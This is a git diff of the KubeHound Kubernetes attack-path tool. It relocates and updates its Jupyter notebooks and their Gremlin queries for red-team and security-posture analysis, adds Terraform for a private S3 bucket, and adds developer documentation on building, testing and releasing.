Cell", + "dd-sharing": { + "allowed_groups": [ + "team-ase", + "subproduct-secopsengineering", + "team-aso", + "" + ], + "allowed_users": [ + "" + ], + "retention_period": "90" + }, + "kernelspec": { + "display_name": "Python 3 (default)", + "language": "python", + "name": "ipykernel-default" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.13" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/deployments/kubehound/notebook/RedTeam.ipynb b/deployments/kubehound/ui/RedTeam.ipynb similarity index 58% rename from deployments/kubehound/notebook/RedTeam.ipynb rename to deployments/kubehound/ui/RedTeam.ipynb index 7a2d92c69..ca78faf18 100644 --- a/deployments/kubehound/notebook/RedTeam.ipynb +++ b/deployments/kubehound/ui/RedTeam.ipynb @@ -15,42 +15,20 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter).\n", + "\n", "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "init_cell": true + }, "outputs": [], "source": [ + "%%capture \"Remove this line to see debug information\"\n", "%%graph_notebook_vis_options\n", "{\n", " \"edges\": {\n", @@ -91,12 +69,13 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.endpoints().\n", - "\twhere(out().hasLabel(\"Container\")).\n", - "\tproject('port',\"portName\", 'image').\n", - "\tby(values(\"port\")).\n", - "\tby(values(\"portName\")).\n", - "\tby(out().hasLabel(\"Container\").values(\"image\")).\n", + "kh.endpoints()\n", + "\t.has(\"runID\", graph.variables().get('runID_yourid').get())\n", + "\t.where(out().hasLabel(\"Container\"))\n", + "\t.project('port',\"portName\", 'image')\n", + "\t.by(values(\"port\"))\n", + "\t.by(values(\"portName\"))\n", + "\t.by(out().hasLabel(\"Container\").values(\"image\"))\n", "\tdedup()" ] }, @@ -114,14 +93,15 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.endpoints().\n", - "\thasCriticalPath().\n", - "\twhere(out().hasLabel(\"Container\")).\n", - "\tproject('port',\"portName\", 'image').\n", - "\tby(values(\"port\")).\n", - "\tby(values(\"portName\")).\n", - "\tby(out().hasLabel(\"Container\").values(\"image\")).\n", - "\tdedup()" + "kh.endpoints()\n", + "\t.has(\"runID\", graph.variables().get('runID_yourid').get())\n", + "\t.hasCriticalPath()\n", + "\t.where(out().hasLabel(\"Container\"))\n", + "\t.project('port',\"portName\", 'image')\n", + "\t.by(values(\"port\"))\n", + "\t.by(values(\"portName\"))\n", + "\t.by(out().hasLabel(\"Container\").values(\"image\"))\n", + "\t.dedup()" ] }, { @@ -140,12 +120,13 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.endpoints().\n", - "\thas(\"portName\", \"elasticsearch\").\t// Change the value here for those found\n", - "\tnot(has(\"protocol\", \"UDP\")). // Exclude or change based on requirements\n", - "\tcriticalPaths().\n", - "\tby(elementMap()).\n", - "\tlimit(100)\t// Limit the number of results for large clusters" + "kh.endpoints()\n", + "\t.has(\"runID\", graph.variables().get('runID_yourid').get())\n", + "\t.has(\"portName\", \"elasticsearch\")\t// Change the value here for those found\n", + "\t.not(has(\"protocol\", \"UDP\")) \t\t// Exclude or change based on requirements\n", + "\t.criticalPaths()\n", + "\t.by(elementMap())\n", + "\t.limit(100)\t\t\t\t\t\t\t// Limit the number of results for large clusters" ] }, { @@ -162,11 +143,12 @@ "outputs": [], "source": [ "%%gremlin -d class -g critical -le 50 -p inv,oute\n", - "kh.endpoints().\n", - "\thas(\"portName\", \"elasticsearch\"). // Change the value here for those found\n", - "\tcriticalPathsFilter(6, \"TOKEN_BRUTEFORCE\", \"POD_EXEC\", \"POD_CREATE\").\n", - "\tby(elementMap()).\n", - " limit(100)\t// Limit the number of results for large clusters" + "kh.endpoints()\n", + "\t.has(\"runID\", graph.variables().get('runID_yourid').get())\n", + "\t.has(\"portName\", \"elasticsearch\") // Change the value here for those found\n", + "\t.criticalPathsFilter(6, \"TOKEN_BRUTEFORCE\", \"POD_EXEC\", \"POD_CREATE\")\n", + "\t.by(elementMap())\n", + " .limit(100)\t// Limit the number of results for large clusters" ] }, { @@ -183,19 +165,20 @@ "outputs": [], "source": [ "%%gremlin -d name -g class -le 50 -p inv,oute\n", - "kh.endpoints().\n", - "\thas(\"portName\", within(\"jmx\", \"ssh\", \"log4j\")). // Change the values here for those found\n", - "\trepeat(\n", - "\t\toutE().inV().\n", - "\t\tsimplePath()).\n", - "\tuntil(\n", - "\t\thasLabel(\"Node\").\n", - "\t\tor().\n", - "\t\tloops().is(5)).\n", - "\thasLabel(\"Node\").\n", - "\tpath().\n", - "\tby(elementMap()).\n", - " limit(100)\t// Limit the number of results for large clusters" + "kh.endpoints()\n", + "\t.has(\"runID\", graph.variables().get('runID_yourid').get())\n", + "\t.has(\"portName\", within(\"jmx\", \"ssh\", \"log4j\")) // Change the values here for those found\n", + "\t.repeat(\n", + "\t\toutE().inV()\n", + "\t\t.simplePath())\n", + "\t.until(\n", + "\t\thasLabel(\"Node\")\n", + "\t\t.or()\n", + "\t\t.loops().is(5))\n", + "\t.hasLabel(\"Node\")\n", + "\t.path()\n", + "\t.by(elementMap())\n", + " .limit(100)\t// Limit the number of results for large clusters" ] } ], diff --git a/deployments/kubehound/notebook/SecurityPosture.ipynb b/deployments/kubehound/ui/SecurityPosture.ipynb similarity index 55% rename from deployments/kubehound/notebook/SecurityPosture.ipynb rename to deployments/kubehound/ui/SecurityPosture.ipynb index 9054e24f4..1747b427d 100644 --- a/deployments/kubehound/notebook/SecurityPosture.ipynb +++ b/deployments/kubehound/ui/SecurityPosture.ipynb @@ -15,27 +15,7 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter)." ] }, { @@ -57,8 +37,11 @@ "metadata": {}, "outputs": [], "source": [ + "%%capture \"Remove this line to see debug information\"\n", "%%gremlin\n", - "kh.services().minHopsToCritical()" + "kh.services()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .minHopsToCritical()" ] }, { @@ -75,7 +58,9 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.services().criticalPaths().count()" + "kh.services()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .criticalPaths().count()" ] }, { @@ -99,18 +84,20 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.V().\n", - " hasLabel(\"Endpoint\").\n", - " has(\"exposure\", gte(2)). // https://kubehound.io/queries/dsl/#endpoint-exposure\n", - " count().\n", - " aggregate(\"t\").\n", - " V().\n", - " hasLabel(\"Endpoint\").\n", - " has(\"exposure\", gte(2)). // https://kubehound.io/queries/dsl/#endpoint-exposure\n", - " hasCriticalPath().\n", - " count().\n", - " as(\"e\").\n", - " math(\"100 * e/t\").by().by(unfold())" + "kh.V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Endpoint\")\n", + " .has(\"exposure\", gte(2)) // https://kubehound.io/queries/dsl/#endpoint-exposure\n", + " .count()\n", + " .aggregate(\"t\")\n", + " .V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Endpoint\")\n", + " .has(\"exposure\", gte(2)) // https://kubehound.io/queries/dsl/#endpoint-exposure\n", + " .hasCriticalPath()\n", + " .count()\n", + " .as(\"e\")\n", + " .math(\"100 * e/t\").by().by(unfold())" ] }, { @@ -127,18 +114,20 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.V().\n", - " hasLabel(\"Identity\").\n", - " has(\"critical\", false).\n", - " count().\n", - " aggregate(\"t\").\n", - " V().\n", - " hasLabel(\"Identity\").\n", - " has(\"critical\", false).\n", - " hasCriticalPath().\n", - " count().\n", - " as(\"e\").\n", - " math(\"100 * e/t\").by().by(unfold())" + "kh.V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Identity\")\n", + " .has(\"critical\", false)\n", + " .count()\n", + " .aggregate(\"t\")\n", + " .V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Identity\")\n", + " .has(\"critical\", false)\n", + " .hasCriticalPath()\n", + " .count()\n", + " .as(\"e\")\n", + " .math(\"100 * e/t\").by().by(unfold())" ] }, { @@ -155,16 +144,18 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.V().\n", - " hasLabel(\"Container\").\n", - " count().\n", - " aggregate(\"t\").\n", - " V().\n", - " hasLabel(\"Container\").\n", - " hasCriticalPath().\n", - " count().\n", - " as(\"e\").\n", - " math(\"100 * e/t\").by().by(unfold())" + "kh.V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Container\")\n", + " .count()\n", + " .aggregate(\"t\")\n", + " .V()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .hasLabel(\"Container\")\n", + " .hasCriticalPath()\n", + " .count()\n", + " .as(\"e\")\n", + " .math(\"100 * e/t\").by().by(unfold())" ] }, { @@ -183,7 +174,9 @@ "outputs": [], "source": [ "%%gremlin\n", - "kh.services().criticalPathsFreq()" + "kh.services()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get())\n", + " .criticalPathsFreq()" ] } ], diff --git a/deployments/kubehound/ui/build_notebooks.sh b/deployments/kubehound/ui/build_notebooks.sh new file mode 100644 index 000000000..92492f18f --- /dev/null +++ b/deployments/kubehound/ui/build_notebooks.sh @@ -0,0 +1,8 @@ +#!/bin/bash +set -e + +source /tmp/venv/bin/activate + +init_setup_path="${find . -iname "initial_setup.ipynb}" + +for i in $(find . -iname "*.ipynb" -maxdepth 1); do nbmerge $init_setup_path "$i";done \ No newline at end of file diff --git a/deployments/kubehound/ui/notebook.json b/deployments/kubehound/ui/notebook.json new file mode 100644 index 000000000..88fd51a57 --- /dev/null +++ b/deployments/kubehound/ui/notebook.json @@ -0,0 +1,6 @@ +{ + "load_extensions": { + "init_cell/main": true + } + } + \ No newline at end of file diff --git a/deployments/kubehound/notebook/service.sh b/deployments/kubehound/ui/service.sh similarity index 77% rename from deployments/kubehound/notebook/service.sh rename to deployments/kubehound/ui/service.sh index 38cf63659..e155a6dad 100755 --- a/deployments/kubehound/notebook/service.sh +++ b/deployments/kubehound/ui/service.sh @@ -6,7 +6,10 @@ cd "${WORKING_DIR}" python3 -m graph_notebook.configuration.generate_config \ --host "${GRAPH_NOTEBOOK_HOST}" \ --port "${GRAPH_NOTEBOOK_PORT}" \ - --auth_mode "${GRAPH_NOTEBOOK_AUTH_MODE}" + --auth_mode "${GRAPH_NOTEBOOK_AUTH_MODE}" \ + --ssl "${GRAPH_NOTEBOOK_SSL}" + +python3 -m graph_notebook.ipython_profile.configure_ipython_profile ##### Running The Notebook Service ##### mkdir ~/.jupyter @@ -20,6 +23,9 @@ fi echo "c.NotebookApp.allow_remote_access = True" >> ~/.jupyter/jupyter_notebook_config.py echo "c.InteractiveShellApp.extensions = ['graph_notebook.magics']" >> ~/.jupyter/jupyter_notebook_config.py +# adding all presets notebooks to the trusted list to enable auto-run without warnings +jupyter trust $EXAMPLE_NOTEBOOK_DIR/*.ipynb + nohup jupyter notebook --ip='*' --port ${NOTEBOOK_PORT} "${WORKING_DIR}/notebooks" --allow-root > jupyterserver.log & nohup jupyter lab --ip='*' --port ${LAB_PORT} "${WORKING_DIR}/notebooks" --allow-root > jupyterlab.log & -tail -f /dev/null \ No newline at end of file +tail -f /dev/null diff --git a/deployments/kubehound/notebook/shared/shared.ipynb b/deployments/kubehound/ui/shared/shared.ipynb similarity index 78% rename from deployments/kubehound/notebook/shared/shared.ipynb rename to deployments/kubehound/ui/shared/shared.ipynb index b34f35d3f..5b46bcb2a 100644 --- a/deployments/kubehound/notebook/shared/shared.ipynb +++ b/deployments/kubehound/ui/shared/shared.ipynb @@ -18,40 +18,17 @@ "source": [ "## Initial Setup\n", "\n", - "Connect to the kubegraph server by running the cell below" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "%%graph_notebook_config\n", - "{\n", - " \"host\": \"kubegraph\",\n", - " \"port\": 8182,\n", - " \"ssl\": false,\n", - " \"gremlin\": {\n", - " \"traversal_source\": \"g\",\n", - " \"username\": \"\",\n", - " \"password\": \"\",\n", - " \"message_serializer\": \"graphsonv3\"\n", - " }\n", - "}" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ + "Connection is being initated directly from the docker using the env vars `GRAPH_NOTEBOOK_HOST` and `GRAPH_NOTEBOOK_PORT`. To overwrite it you can use the magic `%%graph_notebook_config` [details here](https://github.com/aws/graph-notebook/tree/main/additional-databases/gremlin-server#connecting-to-a-local-gremlin-server-from-jupyter).\n", + "\n", "Now set the appearance customizations for the notebook. You can see a guide on possible options [here](https://github.com/aws/graph-notebook/blob/623d43827f798c33125219e8f45ad1b6e5b29513/src/graph_notebook/notebooks/01-Neptune-Database/02-Visualization/Grouping-and-Appearance-Customization-Gremlin.ipynb#L680)" ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "init_cell": true + }, "outputs": [], "source": [ "%%graph_notebook_vis_options\n", diff --git a/deployments/terraform/.terraform.lock.hcl b/deployments/terraform/.terraform.lock.hcl new file mode 100644 index 000000000..14ab5e2e7 --- /dev/null +++ b/deployments/terraform/.terraform.lock.hcl @@ -0,0 +1,25 @@ +# This file is maintained automatically by "terraform init". +# Manual edits may be lost in future updates. + +provider "registry.terraform.io/hashicorp/aws" { + version = "4.45.0" + constraints = "4.45.0" + hashes = [ + "h1:AKX4R3U+kBpQB5oU08kSrzl5CLsMhbK+BKZVrwYDXZQ=", + "zh:22da03786f25658a000d1bcc28c780816a97e7e8a1f59fff6eee7d452830e95e", + "zh:2543be56eee0491eb0c79ca1c901dcbf71da26625961fe719f088263fef062f4", + "zh:31a1da1e3beedfd88c3c152ab505bdcf330427f26b75835885526f7bb75c4857", + "zh:4409afe50f225659d5f378fe9303a45052953a1219f7f1acc82b69d07528b7ba", + "zh:4dadec3b783f10d2f8eef3dab5e817baae9c932a7967d45fe3d77fcbcbdaa438", + "zh:55be80d6e24828dcb0db7a0226fb275415c1c0ad63dd2f33b76f3ac0cd64e6a6", + "zh:560bba29efb7dbe0bfcc937369d88817aa31a8d18aa25395b1afe2576cb04495", + "zh:6caacc202e83438ff63d5d96733e283f44e349668d96c6b1c5c7df463ebf85cc", + "zh:6cabab83a61d5b4ac801c5a5d57556a0e76ec8dc879d28cf777509db5f6a657e", + "zh:96c4528bf9c16edb8841b68479ec51c499ed7fa680462fa28caeab3fc168bb43", + "zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425", + "zh:cdc0b47ff840d708fbf75abfe86d23dc7f1dffdd233a771822a17b5c637f4769", + "zh:d9a9583e82776d1ebb6cf6c3d47acc2b302f8778f470ceffe7579dc794eb1feb", + "zh:e9367ca9f6f6418a23cdf8d01f29dd0c4f614e78499f52a767a422e4c334b915", + "zh:f6d355a2fb3bcebb597f68bbca4fa2aaa364efd29240236c582375e219d77656", + ] +} diff --git a/deployments/terraform/README.md b/deployments/terraform/README.md new file mode 100644 index 000000000..330eaf5f0 --- /dev/null +++ b/deployments/terraform/README.md @@ -0,0 +1,27 @@ +# Deploying the cloud storage provider + +## Deploying KHaaS bucket in AWS s3 + +Execute the following commands: + +```bash +terraform init +terraform plan +terraform apply +``` + +> [!TIP] +> If you want to avoid the interactive prompt, create a `terraform.tfvars` file with the bucket name (i.e. `bucket=`). + +We advise you to use Terraform S3 and dynamoDB backend, [more info here](https://developer.hashicorp.com/terraform/language/settings/backends/s3). + +```tf + backend "s3" { + key = "terraform-state" + region = "us-east-1" + bucket = "" + encrypt = true # Optional, S3 Bucket Server Side Encryption + dynamodb_table = "-terraform-state-lock" + } + ``` + diff --git a/deployments/terraform/create-s3/s3.tf b/deployments/terraform/create-s3/s3.tf new file mode 100644 index 000000000..8b51636c6 --- /dev/null +++ b/deployments/terraform/create-s3/s3.tf @@ -0,0 +1,35 @@ +resource "aws_s3_bucket" "khaas_s3_instance" { + bucket = var.bucket_name +} + +resource "aws_s3_bucket_acl" "khaas_s3_acl" { + bucket = aws_s3_bucket.khaas_s3_instance.id + acl = "private" +} + +// Reference: https://aws.amazon.com/blogs/aws/heads-up-amazon-s3-security-changes-are-coming-in-april-of-2023/ +resource "aws_s3_bucket_ownership_controls" "khaas_s3_ownership" { + bucket = aws_s3_bucket.khaas_s3_instance.id + + rule { + object_ownership = "BucketOwnerPreferred" + } +} + +resource "aws_s3_bucket_public_access_block" "khaas_s3_public_access_block" { + bucket = aws_s3_bucket.khaas_s3_instance.id + block_public_acls = true + block_public_policy = true + ignore_public_acls = true + restrict_public_buckets = true +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "khaas_s3_server_side_encryption_configuration" { + bucket = aws_s3_bucket.khaas_s3_instance.id + rule { + bucket_key_enabled = false + apply_server_side_encryption_by_default { + sse_algorithm = "AES256" + } + } +} diff --git a/deployments/terraform/create-s3/variables.tf b/deployments/terraform/create-s3/variables.tf new file mode 100644 index 000000000..700e6f352 --- /dev/null +++ b/deployments/terraform/create-s3/variables.tf @@ -0,0 +1,4 @@ +variable "bucket_name" { + description = "Name of bucket" + type = string +} diff --git a/deployments/terraform/main.tf b/deployments/terraform/main.tf new file mode 100644 index 000000000..3d32b7a69 --- /dev/null +++ b/deployments/terraform/main.tf @@ -0,0 +1,5 @@ +module "khaas" { + source = "./create-s3" + + bucket_name = var.bucket_name +} diff --git a/deployments/terraform/provider.tf b/deployments/terraform/provider.tf new file mode 100644 index 000000000..d26144768 --- /dev/null +++ b/deployments/terraform/provider.tf @@ -0,0 +1,13 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "4.45.0" + } + } +} + + +provider "aws" { + region = "us-east-1" +} diff --git a/deployments/terraform/variables.tf b/deployments/terraform/variables.tf new file mode 100644 index 000000000..b823f1819 --- /dev/null +++ b/deployments/terraform/variables.tf @@ -0,0 +1,4 @@ +variable "bucket_name" { + description = "Name of the bucket for KHaaS to store dumped k8s resources" + type = string +} diff --git a/docker-bake.hcl b/docker-bake.hcl index 7ea5cf15e..2f5bc2636 100644 --- a/docker-bake.hcl +++ b/docker-bake.hcl @@ -52,18 +52,18 @@ target "binary-cross" { "darwin/amd64", "darwin/arm64", "linux/amd64", - "linux/arm/v6", "linux/arm/v7", "linux/arm64", - "linux/ppc64le", - "linux/riscv64", - "linux/s390x", "windows/amd64", "windows/arm64" ] } target "release" { + # Overrinding the branch as this target is only being used in the CI + args = { + BUILD_BRANCH = "main" + } inherits = ["binary-cross"] target = "release" output = [outdir("./bin/release")] @@ -72,4 +72,4 @@ target "release" { target "image-cross" { inherits = ["meta-helper", "binary"] output = ["type=image"] -} \ No newline at end of file +} diff --git a/docs/architecture.md b/docs/architecture.md index 925ddcf81..c64f941cc 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -6,9 +6,9 @@ KubeHound works in 3 steps: 2. Compute attack paths 3. Write the results to a local graph database (JanusGraph) -After the initial ingestion is done, you use a compatible client or the provided [Jupyter Notebook](../../deployments/kubehound/notebook/KubeHound.ipynb) to visualize and query attack paths in your cluster. +After the initial ingestion is done, you use a compatible client or the provided [Jupyter Notebook](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/ui/KubeHound.ipynb) to visualize and query attack paths in your cluster. -[![KubeHound architecture (click to enlarge)](./images/kubehound-high-level-v2.png)](./images/kubehound-high-level.png) +[![KubeHound architecture (click to enlarge)](./images/kubehound-high-level-v2.png)](./images/kubehound-high-level-v2.png) Under the hood, KubeHound leverages a caching and persistence layer (Redis and MongoDB) while computing attack paths. As an end user, this is mostly transparent to you. diff --git a/docs/css/extra.css b/docs/css/extra.css index 17c0e0f5f..f30c4cc09 100644 --- a/docs/css/extra.css +++ b/docs/css/extra.css @@ -30,4 +30,12 @@ font-weight: bold; opacity: 1; color: white; -} \ No newline at end of file +} + +.md-typeset__table { + min-width: 100%; + } + + .md-typeset table:not([class]) { + display: table; + } diff --git a/DEVELOPER.md b/docs/dev-guide/datadog.md similarity index 53% rename from DEVELOPER.md rename to docs/dev-guide/datadog.md index f410d7d2d..cd8825073 100644 --- a/DEVELOPER.md +++ b/docs/dev-guide/datadog.md @@ -1,8 +1,10 @@ -# Dev +# Datadog setup + +The Datadog agent can be setup locally to provide some metrics and logs when developing on KubeHound. ## Metrics and logs -To have some indepth metrics and log correlation, all the components are now linked to datadog. To configure it you just need to add your Datadog API key (`DD_API_KEY`) in the environment variable in the `deployments/kubehound/.env`. When the API key is configured, a docker will be created `kubehound-dev-datadog`. +To have some in-depth metrics and log correlation, all the components are now linked to datadog. To configure it you just need to add your Datadog API key (`DD_API_KEY`) in the environment variable in the `deployments/kubehound/.env`. When the API key is configured, a docker will be created `kubehound-dev-datadog`. All the information being gathered are available at: @@ -10,12 +12,10 @@ All the information being gathered are available at: * Logs: https://app.datadoghq.com/logs?query=service%3Akubehound%20&cols=host%2Cservice&index=%2A&messageDisplay=inline&stream_sort=desc&viz=stream&from_ts=1688140043795&to_ts=1688140943795&live=true To collect the metrics for Janusgraph an exporter from Prometheus is being used: + * https://github.com/prometheus/jmx_exporter They are exposed here: -* Locally: http://127.0.0.1:8099/metrics -* Datadog: https://app.datadoghq.com/metric/summary?filter=kubehound.janusgraph -## Advanced command - -In case of conflict/error, or just if you want to free some of your RAM, you can use `make system-test-clean` to destroy the backend stack dedicated to the system-test. \ No newline at end of file +* Locally: http://127.0.0.1:8099/metrics +* Datadog: https://app.datadoghq.com/metric/summary?filter=kubehound.janusgraph \ No newline at end of file diff --git a/docs/dev-guide/getting-started.md b/docs/dev-guide/getting-started.md new file mode 100644 index 000000000..faa856247 --- /dev/null +++ b/docs/dev-guide/getting-started.md @@ -0,0 +1,124 @@ +# Getting started + +To list all the available developpers commands from the makefile, run: + +```bash +make help +``` + +## Requirements build + +- 16GB of RAM (minimum) +- go (v1.24): https://go.dev/doc/install +- [Docker](https://docs.docker.com/engine/install/) >= 19.03 (`docker version`) +- [Docker Compose](https://docs.docker.com/compose/compose-file/compose-versioning/) >= v2.0 (`docker compose version`) + +## Backend + +The backend images are built with the Dockerfiles `docker-compose.dev.[graph|ingestor|mongo|ui].yaml`. There are listed in [deployment directory](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound). To avoid running docker-compose it manually, there is an hidden command `kubehound dev --help`. The backend stack will be flagged as `kubehound-dev-` in the name of each component. + +### Building the minimum dev stack + +The minimum stack (`mongo` & `graph`) can be spawned with + +- `kubehound dev` which is an equivalent of +- `docker compose -f docker-compose.yaml -f docker-compose.dev.graph.yaml -f docker-compose.dev.mongo.yaml`. By default it will always rebuild everything (no cache is being used). + +### Building dev options + +You can add components to the mininum stack (`ui` and `grpc endpoint`) by adding the following flag. + +- `--ui` to add the Jupyter UI to the build. +- `--grpc` to add the ingestor endpoint (exposing the grpc server for KHaaS). + +For instance, building locally the minimum stack with the `ui` component: + +```bash +kubehound dev --ui +``` + +### Tearing down the dev stack + +To tear down the KubeHound dev stack, just use `--down` flag: + +```bash +kubehound dev --down +``` + +!!! note + + It will stop all the component from the dev stack (including the `ui` and `grpc endpoint` if started) + +## Build the binary + +### Build from source + +To build KubeHound locally from the sources, use the Makefile: + +```bash +# Ensure you are pulling a release tag +git checkout tags/vX.X.X +# Build the binary +make build +``` + +!!! note + + While building the binary using a `main` revision, the binary will not be able + to spin up the KubeHound stack. You should use a release tag to build the binary or + use the `kubehound dev` command to spin up the dev stack. + +!!! note + + Being on a commit older than the latest one will also pull older images, to avoid dependency incompatibility. + We strongly advise to use the latest tag to enjoy all features and performance improvements. + +KubeHound binary will be output to `./bin/build/kubehound`. + +### Releases + +We use `buildx` to release new versions of KubeHound, for cross platform compatibility and because we are embedding the docker compose library (to enable KubeHound to spin up the KubeHound stack directly from the binary). This saves the user from having to take care of this part. The build relies on 2 files [docker-bake.hcl](https://github.com/DataDog/KubeHound/blob/main/docker-bake.hcl) and [Dockerfile](https://github.com/DataDog/KubeHound/blob/main/Dockerfile). The following bake targets are available: + +- `validate` or `lint`: run the release CI linter +- `binary` (default option): build kubehound just for the local architecture +- `binary-cross` or `release`: run the cross platform compilation + +!!! note + + Those targets are made only for the CI and are not intented to be run run locally (except to test the CI locally). + +##### Cross platform compilation + +To test the cross platform compilation locally, use the buildx bake target `release`. This target is being run by the CI ([buildx](https://github.com/DataDog/KubeHound/blob/main/.github/workflows/buildx.yml#L77-L84 workflow). + +```bash +docker buildx bake release +``` + +!!! warning + + The cross-binary compilation with `buildx` is not working in mac: `ERROR: Multi-platform build is not supported for the docker driver.` + +## Push a new release + +The CI releases a set of new images and binaries when a tag is created. To set a new tag on the main branch: + +```bash +git tag vX.X.X +git push origin vX.X.X +``` + +New tags will trigger the 2 following jobs: + +- [docker](): pushing new images for `kubehound-graph`, `kubehound-binary` and `kubehound-ui` on ghcr.io. The images can be listed [here](https://github.com/orgs/DataDog/packages?repo_name=KubeHound). +- [buildx](https://github.com/DataDog/KubeHound/blob/main/.github/workflows/buildx.yml): compiling the binary for all platform. The platform supported can be listed using this `docker buildx bake binary-cross --print | jq -cr '.target."binary-cross".platforms'`. + +!!! warning "deprecated" + + The `kubehound-ingestor` image has been deprecated since **v1.5.0** and renamed to `kubehound-binary`. + +The CI will draft a new release (not available publicly). **In order to finish the process, an admin has to validate the draft from the [release page](https://github.com/DataDog/KubeHound/releases)**. + +!!! tip + + To resync all the tags from the main repo you can use `git tag -l | xargs git tag -d;git fetch --tags`. diff --git a/docs/dev-guide/testing.md b/docs/dev-guide/testing.md new file mode 100644 index 000000000..69829fcfe --- /dev/null +++ b/docs/dev-guide/testing.md @@ -0,0 +1,76 @@ +# Testing + +To ensure no regression in KubeHound, 2 kinds of tests are in place: + +- classic unit test: can be identify with the `xxx_test.go` files in the source code +- system tests: end to end test where we run full ingestion from different scenario to simulate all use cases against a real cluster. + +## Requirements test + +- [Golang](https://go.dev/doc/install) `>= 1.24` +- [Kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installing-with-a-package-manager) +- [Kubectl](https://kubernetes.io/docs/tasks/tools/) + +## Unit Testing + +The full suite of unit tests can be run locally via: + +```bash +make test +``` + +## System Testing + +The repository includes a suite of system tests that will do the following: + +- create a local kubernetes cluster +- collect kubernetes API data from the cluster +- run KubeHound using the file collector to create a working graph database +- query the graph database to ensure all expected vertices and edges have been created correctly + +The cluster setup and running instances can be found under [test/setup](https://github.com/DataDog/KubeHound/tree/main/test/setup) + +If you need to manually access the system test environment with kubectl and other commands, you'll need to set (assuming you are at the root dir): + +```bash +cd test/setup/ && export KUBECONFIG=$(pwd)/.kube-config +``` + +### Environment variable: + +- `DD_API_KEY` (optional): set to the datadog API key used to submit metrics and other observability data (see [datadog](https://kubehound.io/dev-guide/datadog/) section) + +### Setup + +Setup the test kind cluster (you only need to do this once!) via: + +```bash +make local-cluster-deploy +``` + +### Running the system tests + +Then run the system tests via: + +```bash +make system-test +``` + +### Cleanup + +To cleanup the environment you can destroy the cluster via: + +```bash +make local-cluster-destroy +``` + +!!! note + + if you are running on Linux but you dont want to run `sudo` for `kind` and `docker` command, you can overwrite this behavior by editing the following var in `test/setup/.config`: + + * `DOCKER_CMD="docker"` for docker command + * `KIND_CMD="kind"` for kind command + +### CI Testing + +System tests will be run in CI via the [system-test](https://github.com/DataDog/KubeHound/blob/main/.github/workflows/system-test.yml) github action diff --git a/docs/dev-guide/wiki.md b/docs/dev-guide/wiki.md new file mode 100644 index 000000000..b89bfca67 --- /dev/null +++ b/docs/dev-guide/wiki.md @@ -0,0 +1,19 @@ +# Wiki + +The website [kubehound.io](https://kubehound.io) is being statically generated from [docs](https://github.com/DataDog/KubeHound/tree/main/docs) directory. It uses [mkdocs]() under the hood. To generate 